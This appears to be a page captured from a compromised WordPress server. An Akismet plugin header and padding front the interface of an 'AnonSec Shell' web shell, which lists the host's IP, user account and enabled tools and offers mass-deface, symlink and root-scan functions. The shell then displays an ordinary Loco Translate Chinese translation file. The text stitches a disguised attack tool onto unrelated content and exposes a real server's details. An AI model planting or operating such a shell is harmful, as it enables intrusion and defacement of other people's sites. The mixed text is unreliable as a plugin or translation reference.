#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/languages/plugins/loco-translate-zh_CN.po
# Translation of Plugins - Loco Translate - Stable (latest release) in Chinese (China)
# This file is distributed under the same license as the Plugins - Loco Translate - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-09-20 17:35:06+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: zh_CN\n"
"Project-Id-Version: Plugins - Loco Translate - Stable (latest release)\n"

#: tpl/admin/config/apis.php:146
msgid "Configured externally"
msgstr "外部配置"

#: src/js/Strings.php:17 tpl/admin/config/apis.php:146
msgid "No API key"
msgstr "没有 API 密钥"

#. translators: %s will be replaced with a PO file name
#: src/admin/init/InitPoController.php:385
msgid "Copy %s instead"
msgstr "改为复制 %s"

#: tpl/admin/init/init-copy.php:18
msgid "You can copy an existing PO file (recommended), or extract directly from source (advanced)"
msgstr "您可以复制现有的 PO 文件(推荐),或直接从源中提取(高级)"

#: src/admin/init/InitPoController.php:396
msgid "You're creating translations from a POT file"
msgstr "您正在从 POT 文件创建翻译"

#: src/admin/init/InitPoController.php:237
msgid "Copy PO file"
msgstr "复制 PO 文件"

#: src/admin/DebugController.php:929
msgid "String debugger"
msgstr "字符串调试器"

#: src/admin/config/BaseController.php:22
msgid "System"
msgstr "系统"

#: src/admin/bundle/ViewController.php:152
msgid "Custom translations may not work without System translations installed"
msgstr "如果没有安装系统翻译,自定义翻译可能无法工作"

#: tpl/admin/help/side-bar.php:6
msgid "Useful links:"
msgstr "有用的链接:"

#: tpl/admin/bundle/setup.php:27
msgid "Current configuration as XML"
msgstr "当前配置为 XML"

#: tpl/admin/bundle/inc-po-table.php:19
msgid "Strings"
msgstr "字符串"

#. translators: Author credit: (1) Product name (2) version number, (3) author
#. name.
#: src/package/Header.php:89
msgid "\"%1$s\" %2$s by %3$s"
msgstr "%1$s %2$s 作者:%3$s"

#: src/js/Strings.php:57
msgid "Check the translations marked with a warning sign"
msgstr "检查标有警告标志的翻译"

#. translators: %s refers to a non-zero amount of errors detected. xgettext:
#. javascript-format
#: src/js/Strings.php:54
msgid "%s possible error detected"
msgid_plural "%s possible errors detected"
msgstr[0] "检测到 %s 可能的错误"

#. translators: Result of validation when all strings pass validation
#: src/js/Strings.php:50
msgid "No formatting errors detected"
msgstr "未检测到格式错误"

#. Translators: Button that validates current translation formatting
#: src/admin/file/EditController.php:224
msgctxt "Editor"
msgid "Check"
msgstr "检查"

#. translators: %u is a number of files which were successfully deleted
#: src/admin/file/DeleteController.php:59
msgid "%u file deleted"
msgid_plural "%u files deleted"
msgstr[0] "%u 个文件已删除"

#: src/admin/bundle/SetupController.php:253
msgid "This bundle doesn't declare a domain path. Add one via the Advanced tab if needed"
msgstr "该捆绑包未声明域路径。如果需要,可通过“高级”选项卡添加一项"

#: src/admin/bundle/SetupController.php:250
msgid "The default \"languages\" domain path has been detected"
msgstr "已检测到默认的“语言”域路径"

#. Translators: %s will be replaced with a relative path like "/languages"
#: src/admin/bundle/SetupController.php:245
msgid "The domain path is declared by the author as \"%s\""
msgstr "域路径被作者声明为“%s”"

#: src/admin/bundle/SetupController.php:239
msgid "This bundle does't declare a text domain; try configuring it in the Advanced tab"
msgstr "该捆绑包不声明文本域;尝试在“高级”选项卡中进行配置"

#: src/admin/bundle/SetupController.php:235
msgid "This text domain is not in Loco Translate's bundle configuration"
msgstr "此文本域不在 Loco Translate 的捆绑配置中"

#. Translators: This warning is shown when a text domain has defaulted to same
#. as the folder name (or slug)
#: src/admin/bundle/SetupController.php:229
msgid "This plugin doesn't declare a text domain. It's assumed to be the same as the slug, but this could be wrong"
msgstr "该插件不声明文本域。它被认为与 slug 相同,但这可能是错误的"

#. Translators: %s will be replaced with a text domain, e.g. "loco-translate"
#: src/admin/bundle/SetupController.php:222
msgid "WordPress says the primary text domain is \"%s\""
msgstr "WordPress 表示主文本域是“%s”"

#. Translators: Shown when a PO file's Plural-Forms header has a different
#. formula from the Unicode CLDR rules
#: src/Locale.php:500
msgid "Plural forms differ from Loco Translate's built in rules for this language"
msgstr "复数形式不同于 Loco Translate 针对该语言的内置规则"

#: src/js/Strings.php:197
msgid "Mismatching placeholder type; check against source text formatting"
msgstr "占位符类型不匹配;请检查源文格式"

#: src/js/Strings.php:186
msgid "Possible syntax error in string formatting"
msgstr "字符串格式中可能存在语法错误"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:194
msgid "Missing placeholders; source text formatting suggests at least %s"
msgstr "缺少占位符;源文格式建议至少 %s"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:190
msgid "Too many placeholders; source text formatting suggests a maximum of %s"
msgstr "占位符太多;源文格式建议最多 %s"

#: tpl/admin/file/head.php:10
msgid "Edit file headers"
msgstr "编辑文件头"

#: tpl/admin/file/conf.php:23
msgid "Relative path to template file"
msgstr "模板文件的相对路径"

#: tpl/admin/file/conf.php:57 tpl/admin/file/head.php:34
msgid "Save"
msgstr "保存"

#: tpl/admin/file/conf.php:48 tpl/admin/init/init-po.php:149
msgid "Merge strings from related JSON files"
msgstr "从相关的JSON文件中合并字符串"

#. translators: Summary of translations copied from a PO file during Sync
#. xgettext: javascript-format
#: src/js/Strings.php:40
msgid "%s translation copied"
msgid_plural "%s translations copied"
msgstr[0] "%s 翻译已复制"

#: src/admin/config/ApisController.php:76
msgid "API URL"
msgstr "API URL"

#. translators: Where %s is any number of strings
#. translators: Shows total string count at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:191 src/js/Strings.php:109
msgid "%s string"
msgid_plural "%s strings"
msgstr[0] "%s 个字符串"

#. translators: %s is the quantity of files which were successfully moved
#: src/admin/file/MoveController.php:87
msgid "%s file moved"
msgid_plural "%s files moved"
msgstr[0] "%s 个文件已移动"

#: tpl/admin/file/info-pot.php:31
msgid "%s word"
msgid_plural "%s words"
msgstr[0] "%s 个字符"

#: src/gettext/Compiler.php:280
msgid "PO file saved and MO/JSON files compiled"
msgstr "PO文件已保存,MO/JSON文件已编译"

#. translators: %s refers to a JSON file which could not be compiled due to an
#. error
#: src/gettext/Compiler.php:148 src/gettext/Compiler.php:213
msgid "JSON compilation failed for %s"
msgstr "%s 的 JSON 编译失败"

#: tpl/admin/config/version.php:74
msgid "Update Now"
msgstr "立即更新"

#. translators: Where %s is the full version number of WordPress
#: tpl/admin/config/version.php:68
msgid "WordPress %s"
msgstr "WordPress %s"

#. translators: (1) Name of software, e.g. "WordPress" (2) Version number, e.g.
#. "5.6"
#: tpl/admin/config/version.php:53 tpl/admin/config/version.php:71
msgid "Your version of %1$s is out of date. We recommend you upgrade to at least v%2$s, but preferably to the latest stable version."
msgstr "您的 %1$s 版本已过期。我们建议您至少升级到 v%2$s,但最好升级到最新的稳定版本。"

#. translators: Where %s is the full version number of PHP
#: tpl/admin/config/version.php:49
msgid "PHP %s"
msgstr "PHP %s"

#: tpl/admin/config/settings.php:162
msgid "Delete redundant files"
msgstr "删除多余文件"

#: tpl/admin/config/settings.php:156
msgid "Pretty formatting"
msgstr "美化格式"

#: tpl/admin/config/settings.php:145 tpl/admin/config/settings.php:151
msgid "Compiling JSON files"
msgstr "编译 JSON 文件"

#: tpl/admin/init/upload.php:50
msgid "Your file must be named as shown above where %1$s is the language code, e.g. %2$s"
msgstr "您的文件必须如上所示命名,其中 %1$s 是语言代码,例如%2$s"

#: tpl/admin/init/upload.php:45
msgid "Upload PO file"
msgstr "上传PO文件"

#. translators: Indicates that POT files are optional, which is not recommended
#: tpl/admin/config/settings.php:107
msgid "Sync with source when template missing"
msgstr "模板丢失时与源码同步"

#: tpl/admin/config/settings.php:99
msgid "Fuzzy matching tolerance"
msgstr "模糊匹配容差"

#: tpl/admin/config/settings.php:89 tpl/admin/config/settings.php:95
msgid "Syncing PO files"
msgstr "同步PO文件"

#: tpl/admin/help/side-bar.php:15
msgid "Info and tutorials"
msgstr "信息和教程"

#: src/ajax/ApisController.php:30
msgid "Need a human?"
msgstr "需要人吗?"

#: src/ajax/UploadController.php:70
msgid "Your file is identical to the existing one"
msgstr "您的文件与现有的一个文件相同"

#: src/admin/init/UploadController.php:52
msgid "Upload a translation file"
msgstr "上传一个翻译文件"

#: src/admin/init/UploadController.php:29 tpl/admin/init/upload.php:58
msgid "Upload"
msgstr "上传"

#: src/admin/bundle/ViewController.php:107
msgid "Upload PO"
msgstr "上传PO"

#. Translators: %s will be replaced with the name of a missing POT file
#: src/ajax/SyncController.php:55
msgid "Falling back to source extraction because %s is missing"
msgstr "正在返回源提取,因为缺少%s"

#: tpl/admin/bundle/inc-po-table.php:63
msgid "Move"
msgstr "移动"

#: tpl/admin/config/prefs.php:29 tpl/admin/config/prefs.php:33
msgid "Restrict locales"
msgstr "限制地区语言"

#. Translators: Button that opens window for auto-translating
#: src/admin/file/EditController.php:222
msgctxt "Editor"
msgid "Auto"
msgstr "自动"

#: src/js/Strings.php:171
msgctxt "Editor"
msgid "Suggest translation"
msgstr "建议翻译"

#: src/js/Strings.php:168
msgctxt "Editor"
msgid "Toggle Fuzzy"
msgstr "切换模糊"

#: src/js/Strings.php:102
msgid "Keep this translation"
msgstr "保留此翻译"

#: src/js/Strings.php:99
msgid "Loading suggestions"
msgstr "加载建议"

#: src/js/Strings.php:90
msgid "Suggested translations"
msgstr "建议翻译"

#: src/js/Strings.php:87
msgid "Use this translation"
msgstr "使用此翻译"

#: src/js/Strings.php:84
msgid "Nothing needed updating"
msgstr "无需更新"

#. translators: %s is the quantity of strings modified during a batch process
#. xgettext: javascript-format
#: src/js/Strings.php:81
msgid "%s string updated"
msgid_plural "%s strings updated"
msgstr[0] "%s字符串已更新"

#. translators: 1: Number of strings; 2: Service provider; e.g. "50 strings
#. translated via Google Translate" xgettext: javascript-format
#: src/js/Strings.php:77
msgid "%1$s string translated via %2$s"
msgid_plural "%1$s strings translated via %2$s"
msgstr[0] "%1$s个字符串已使用 %2$s 完成翻译"

#. translators: %s is the quantity of strings left unprocessed after a job was
#. stopped prematurely xgettext: javascript-format
#: src/js/Strings.php:73
msgid "Translation job aborted with %s string remaining"
msgid_plural "Translation job aborted with %s strings remaining"
msgstr[0] "翻译工作被中止,剩余%s个字符串"

#. translators: %s%% is a percentage, e.g. 50% xgettext: javascript-format
#: src/js/Strings.php:69
msgid "Translation progress %s%%"
msgstr "翻译进度%s%%"

#. translators: characters meaning individual unicode characters of source text
#. xgettext: javascript-format
#: src/js/Strings.php:65
msgid "%s characters will be sent for translation."
msgstr "%s个 字符将被发送并翻译。"

#. translators: %s: the number of strings to be sent for translation xgettext:
#. javascript-format
#: src/js/Strings.php:61
msgid "%s unique source strings."
msgstr "%s 个唯一源字符串。"

#. translators: Message appears after sync operation, where %s refers to a POT
#. file. xgettext: javascript-format
#: src/js/Strings.php:44
msgid "Strings up to date with %s"
msgstr "使用%s更新的字符串"

#. translators: Summary of existing translations where the source text has
#. changed slightly xgettext: javascript-format
#: src/js/Strings.php:36
msgid "%s string marked Fuzzy"
msgid_plural "%s strings marked Fuzzy"
msgstr[0] "%s 个字符串被标记为模糊"

#: tpl/admin/config/apis.php:160
msgid "See full disclaimer"
msgstr "查看完整免责声明"

#: tpl/admin/config/apis.php:159
msgid "Third party services are subject to their own terms of use and may incur costs from the provider"
msgstr "第三方服务受其自身使用条款的约束,并由可能会从服务提供商处产生费用"

#: tpl/admin/config/apis.php:157
msgid "Important"
msgstr "重要提示"

#: src/admin/config/ApisController.php:77
msgid "API region"
msgstr "API区域"

#: src/admin/config/ApisController.php:75
msgid "API key"
msgstr "API密钥"

#: src/admin/config/ApisController.php:12
#: src/admin/config/BaseController.php:20
#: src/admin/config/BaseController.php:40 tpl/admin/help/tab-config-apis.php:2
msgid "API keys"
msgstr "API密钥"

#: tpl/ajax/modal-apis-empty.php:11
msgid "Add automatic translation services in the plugin settings."
msgstr "在插件设置中添加自动翻译服务。"

#: tpl/ajax/modal-apis-empty.php:9
msgid "No translation APIs configured"
msgstr "未配置翻译API"

#: tpl/ajax/modal-apis-batch.php:29
msgid "Mark new translations as Fuzzy"
msgstr "将新翻译标记为模糊"

#: tpl/ajax/modal-apis-batch.php:23
msgid "Overwrite existing translations"
msgstr "覆盖现有翻译"

#: tpl/ajax/modal-apis-batch.php:10
msgid "Auto-translate this file"
msgstr "自动翻译此文件"

#: src/admin/file/EditController.php:181
msgid "This is NOT a translation file. Manual editing of source strings is not recommended."
msgstr "这不是翻译文件。不推荐手动编辑源字符串。"

#: src/fs/FileWriter.php:324
msgid "Modification of POT (template) files is disallowed by the plugin settings"
msgstr "插件设置不允许修改POT(模板)文件"

#: tpl/admin/file/move-pot.php:14
msgid "Enter a new location for this file"
msgstr "输入此文件的新位置"

#: tpl/admin/file/move.php:17
msgid "The following file will be moved/renamed to the new location:"
msgid_plural "The following files will be moved/renamed to the new location:"
msgstr[0] "以下文件将被移动或重命名到新位置:"

#: tpl/admin/file/move.php:14
msgid "Confirm relocation"
msgstr "确认迁移"

#: tpl/admin/file/move-po.php:14
msgid "Choose a new location for these translations"
msgstr "为这些翻译选择新位置"

#: tpl/admin/bundle/alias.php:14
msgid "This plugin doesn't have its own translation files, but can be translated in the default text domain"
msgstr "此插件没有自己的翻译文件,但可以使用默认的文本域进行翻译"

#: tpl/admin/config/settings.php:197
msgid "Editing of POT (template) files"
msgstr "编辑POT(模板)文件"

#: tpl/admin/config/settings.php:81
msgid "Recommended"
msgstr "推荐"

#: tpl/admin/config/settings.php:81
msgid "Enable Ajax file uploads"
msgstr "启用 Ajax 文件上传"

#: src/fs/FileWriter.php:249
msgid "Parent directory isn't writable"
msgstr "父目录不可写"

#: src/ajax/FsConnectController.php:160
msgid "This move operation requires permission"
msgstr "此移动操作需要权限"

#: src/ajax/FsConnectController.php:127
msgid "This directory is managed by WordPress. Removed files may be restored during updates"
msgstr "此目录由 WordPress 管理。目录下被移除的文件在更新后可能会被还原"

#. translators: Page title where %s is the name of a file to be moved
#: src/admin/file/MoveController.php:111 src/admin/file/MoveController.php:140
msgid "Move %s"
msgstr "移动%s"

#. translators: %s is the quantity of files which failed to be moved
#: src/admin/file/MoveController.php:92
msgid "%s file could not be moved"
msgid_plural "%s files could not be moved"
msgstr[0] "%s 个文件无法被移动"

#: src/admin/file/BaseController.php:121
msgid "Relocate"
msgstr "迁移"

#: tpl/admin/file/move.php:24
msgid "Move files"
msgstr "移动文件"

#: tpl/admin/errors/file-sec.php:14
msgid "Access to this file is blocked for security reasons"
msgstr "出于安全原因,对该文件的访问已被阻止"

#: tpl/admin/errors/file-sec.php:11
msgid "File access disallowed"
msgstr "文件访问被禁止"

#: src/admin/bundle/ViewController.php:116
msgid "View template"
msgstr "查看模板"

#: tpl/admin/config/version.php:18 tpl/admin/config/version.php:75
msgid "Install manually"
msgstr "手动安装"

#: tpl/admin/config/version.php:14
msgid "A newer version of Loco Translate is available for download"
msgstr "最新版本的Loco Translate可供下载"

#: tpl/admin/help/side-bar.php:9
msgid "Official plugin page"
msgstr "官方插件页面"

#: tpl/admin/common/inc-fsconn.php:28
msgid "File is protected by the bundle configuration"
msgstr "文件已受捆绑包配置的保护"

#: tpl/admin/common/inc-fsconn.php:27
msgid "Read only"
msgstr "只读"

#: tpl/admin/config/settings.php:43
msgid "Scan JavaScript files with extensions:"
msgstr "扫描带以下扩展名的 JavaScript文件:"

#: src/admin/init/InitPoController.php:293
msgid "Assign template"
msgstr "指定模板"

#: src/js/Strings.php:165
msgctxt "Editor"
msgid "Translated"
msgstr "已翻译"

#: src/js/Strings.php:162
msgctxt "Editor"
msgid "Untranslated"
msgstr "未翻译"

#. translators: %s will be replaced with a URL which may change without
#. affecting the translation.
#: src/hooks/AdminHooks.php:92
msgid "Administrators and auditors may wish to review Loco's <a href=\"%s\">plugin privacy notice</a>."
msgstr "管理员和审核员或许想查看Loco的<a href=\"%s\">插件隐私声明</a>。"

#: src/hooks/AdminHooks.php:89
msgid "This plugin doesn't collect any data from public website visitors."
msgstr "此插件不会收集任何来自公开网站访客的数据。"

#: tpl/admin/bundle/inc-po-table.php:54 tpl/admin/bundle/locale.php:66
msgid "View"
msgstr "查看"

#. translators: %s will be replaced with the full name of the user profile's
#. admin language
#: tpl/admin/root.php:17
msgid "Your admin language is %s."
msgstr "您的管理语言是%s。"

#. translators: %s will be replaced with the full name of the site language
#: tpl/admin/root.php:14
msgid "The language of this site is %s."
msgstr "此站点的语言为 %s。"

#: tpl/admin/list/locales.php:25
msgid "Site language"
msgstr "站点语言"

#: tpl/admin/list/locales.php:22
msgid "Files found"
msgstr "找到的文件"

#: tpl/admin/list/locales.php:16
msgid "Locale code"
msgstr "地区语言代码"

#: tpl/admin/list/locales.php:13
msgid "Locale name"
msgstr "地区语言名称"

#: tpl/admin/file/info.php:110
msgid "Files in this location can be modified or deleted by WordPress automatic updates"
msgstr "这个位置的文件可以被WordPress自动更新机智修改或删除"

#: tpl/admin/file/info.php:107
msgid "WordPress updates"
msgstr "WordPress更新"

#: tpl/admin/file/info-mo.php:18 tpl/admin/file/info-po.php:24
#: tpl/admin/file/info-pot.php:21
msgid "File size"
msgstr "文件大小"

#: tpl/admin/file/diff.php:17
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "下一步"

#: tpl/admin/file/diff.php:14
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "上一步"

#: tpl/admin/file/diff.php:6
msgctxt "revision date short format"
msgid "j M @ H:i"
msgstr "M j @ H:i"

#: tpl/admin/errors/no-locale.php:11
msgid "No files found for this language"
msgstr "未找到此语言的文件"

#: tpl/admin/errors/no-backups.php:18
msgid "File backups are disabled in your plugin settings"
msgstr "文件备份在您的插件设置中被禁用"

#: tpl/admin/errors/no-backups.php:16
msgid "Backup files will be written when you save translations from Loco Translate editor"
msgstr "当您从Loco Translate编辑器保存翻译后,其便会写入备份文件中"

#: tpl/admin/errors/no-backups.php:12
msgid "No previous file revisions"
msgstr "以前没有修改过文件"

#: src/admin/config/SettingsController.php:68
msgid "Disallow"
msgstr "不允许"

#: src/admin/config/SettingsController.php:67
msgid "Allow (with warning)"
msgstr "允许(有警告)"

#: src/admin/config/SettingsController.php:66
msgid "Allow"
msgstr "允许"

#: tpl/admin/config/settings.php:187
msgid "Modification of installed files"
msgstr "修改已安装的文件"

#: tpl/admin/config/settings.php:181
msgid "Save credentials in session"
msgstr "在会话中保存凭据"

#: tpl/admin/config/settings.php:170 tpl/admin/config/settings.php:176
msgid "File system access"
msgstr "文件系统访问"

#: tpl/admin/common/inc-fsconn.php:56
msgid "Click \"Connect\" to authenticate with the server"
msgstr "点击 \"连接 \"来验证服务器的身份"

#. translators: Page title for installed languages page
#: src/mvc/AdminRouter.php:61
msgid "Languages &lsaquo; Loco"
msgstr "语言&lsaquo; Loco"

#: src/mvc/AdminRouter.php:59
msgid "Languages"
msgstr "语言"

#: src/fs/FileWriter.php:313
msgid "Modification of installed files is disallowed by the plugin settings"
msgstr "插件设置不允许修改已安装的文件"

#. translators: Where %s is a file name
#: src/ajax/DiffController.php:47
msgid "Revisions are identical, you can delete %s"
msgstr "修订内容相同,您可以删除%s"

#. translators: Where %s is the name of the invalid POT file
#: src/admin/file/EditController.php:138 src/ajax/SyncController.php:72
msgid "Translation template is invalid (%s)"
msgstr "翻译模板无效(%s)"

#. translators: %s is a file name to be rolled back to a previous version.
#. translators: Page title where %s refers to a file name
#: src/admin/file/DiffController.php:59 src/admin/file/DiffController.php:78
msgid "Restore %s"
msgstr "还原%s"

#: src/admin/file/DiffController.php:35
msgid "File restored"
msgstr "文件恢复"

#: src/admin/file/BaseController.php:120 tpl/admin/file/diff.php:31
msgid "Restore"
msgstr "恢复"

#: src/admin/bundle/LocaleController.php:145
msgid "See all core translations"
msgstr "查看所有核心翻译"

#: src/admin/bundle/LocaleController.php:138
#: src/admin/file/EditController.php:132 src/admin/file/EditController.php:183
#: tpl/admin/common/inc-fsconn.php:16 tpl/admin/common/inc-fsconn.php:41
#: tpl/admin/config/apis.php:167 tpl/admin/config/prefs.php:45
#: tpl/admin/config/settings.php:234 tpl/admin/errors/no-backups.php:22
msgid "Documentation"
msgstr "文档"

#: src/admin/bundle/LocaleController.php:137
msgid "No core translation files are installed for this language"
msgstr "该语言没有安装核心翻译文件"

#: src/ajax/FsConnectController.php:130
msgid "Changes to this file may be overwritten or deleted when you update WordPress"
msgstr "当您更新WordPress时,对该文件的更改可能会被覆盖或删除"

#: src/ajax/FsConnectController.php:124
msgid "This directory is managed by WordPress, be careful what you delete"
msgstr "这个目录由WordPress管理,小心您删除的内容"

#: src/ajax/FsConnectController.php:121
msgid "This file may be overwritten or deleted when you update WordPress"
msgstr "当您更新WordPress时,这个文件可能会被覆盖或删除"

#: src/ajax/FsConnectController.php:163
msgid "Saving this file requires permission"
msgstr "保存此文件需要权限"

#: src/ajax/FsConnectController.php:157
msgid "Deleting this file requires permission"
msgstr "删除该文件所需的权限"

#: src/ajax/FsConnectController.php:154
msgid "Creating this file requires permission"
msgstr "创建此文件需要权限"

#. Translators: Plural category for zero quantity
#: src/Locale.php:383
msgctxt "Plural category"
msgid "Zero"
msgstr "零"

#: src/admin/init/InitPoController.php:377 tpl/admin/file/info.php:113
msgid "What's this?"
msgstr "这是什么?"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:18
msgid "largest is %s"
msgstr "最大的是%s"

#: tpl/admin/config/settings.php:68
msgid "Maximum line length (zero disables wrapping)"
msgstr "最大行长度(零表示静止换行)"

#. Translators: (1) Number of files (2) Maximum size of file that will be
#. included (3) Size of the largest encountered
#: src/ajax/SyncController.php:99
msgid "%1$s file has been skipped because it's %3$s. (Max is %2$s). Check all strings are present before saving."
msgid_plural "%1$s files over %2$s have been skipped. (Largest is %3$s). Check all strings are present before saving."
msgstr[0] "%1$s个文件已被跳过,因大小超过了%3$s(最大限制为%2$s)。在保存之前,请检查所有字符串是否存在。"

#: src/admin/bundle/ConfController.php:92
msgid "Child theme declares the same Text Domain as the parent theme"
msgstr "子主题声明与父主题相同的文本域"

#. Translators: General plural category not covered by other forms
#: src/Locale.php:393
msgctxt "Plural category"
msgid "Other"
msgstr "其他"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:391
msgctxt "Plural category"
msgid "Many"
msgstr "多数"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:389
msgctxt "Plural category"
msgid "Few"
msgstr "少数"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:387
msgctxt "Plural category"
msgid "Two"
msgstr "两个"

#. Translators: Plural category for singular quantity
#: src/Locale.php:385
msgctxt "Plural category"
msgid "One"
msgstr "一个"

#: tpl/admin/config/version.php:28
msgid "You're running a development snapshot of Loco Translate"
msgstr "您正在运行Loco Translate的开发快照"

#. Author URI of the plugin
#: loco.php
msgid "https://localise.biz/wordpress/plugin"
msgstr "https://localise.biz/wordpress/plugin"

#. Description of the plugin
#: loco.php
msgid "Translate themes and plugins directly in WordPress"
msgstr "直接在 WordPress 中翻译主题和插件"

#: src/admin/bundle/LocaleController.php:155 tpl/admin/root.php:58
msgid "See all plugins"
msgstr "查看所有插件"

#: tpl/admin/root.php:54
msgid "These plugins have recently loaded translation files into the admin area"
msgstr "这些插件最近都将翻译文件加载到了管理区中"

#: tpl/admin/root.php:51
msgid "Running plugins:"
msgstr "运行插件:"

#: src/admin/bundle/LocaleController.php:150 tpl/admin/root.php:43
msgid "See all themes"
msgstr "查看所有主题"

#: tpl/admin/root.php:39
msgid "Active theme:"
msgstr "当前主题:"

#: tpl/admin/root.php:30
msgid "Translations have been recently modified in the following bundles"
msgstr "以下翻译包最近被修改过"

#: tpl/admin/root.php:27
msgid "Recently updated:"
msgstr "最近更新:"

#: src/admin/RootController.php:84
msgid "Welcome to Loco Translate"
msgstr "欢迎来到Loco Translate"

#: tpl/admin/list/inc-table.php:20
msgid "Sets"
msgstr "集合"

#: tpl/admin/bundle/locale.php:32 tpl/admin/list/inc-table.php:11
msgid "Bundle name"
msgstr "捆绑包名称"

#: tpl/admin/init/init-pot.php:42 tpl/admin/init/init-prompt.php:31
msgid "About templates"
msgstr "关于模板"

#: tpl/admin/init/init-prompt.php:23
msgid "This bundle doesn't define a translations template file"
msgstr "此捆绑包未定义翻译模板文件"

#: tpl/admin/init/init-prompt.php:19
msgid "This bundle's template file doesn't exist yet. We recommend you create it before adding languages"
msgstr "此捆绑包的模板文件还不存在。我们建议您在添加语言之前先创建模板文件"

#: tpl/admin/init/init-copy.php:15 tpl/admin/init/init-prompt.php:15
msgid "Template missing"
msgstr "模板丢失"

#: tpl/admin/init/init-pot.php:30
msgid "Strings will be extracted to:"
msgstr "字符串将提取到:"

#. Translators: (1) Number of files excluded (2) the maximum size of file that
#. was included
#: tpl/admin/init/init-pot.php:24
msgid "Excludes %1$s file over %2$s"
msgid_plural "Excludes %1$s files over %2$s"
msgstr[0] "排除大小超过 %2$s的 %1$s个文件"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:16
msgid "%s on disk"
msgstr "磁盘上的%s"

#: tpl/admin/init/init-pot.php:12
msgid "Source files to scan:"
msgstr "要扫描的源文件:"

#: tpl/admin/init/init-po.php:169
msgid "Start translating"
msgstr "开始翻译"

#: tpl/admin/init/init-po.php:159
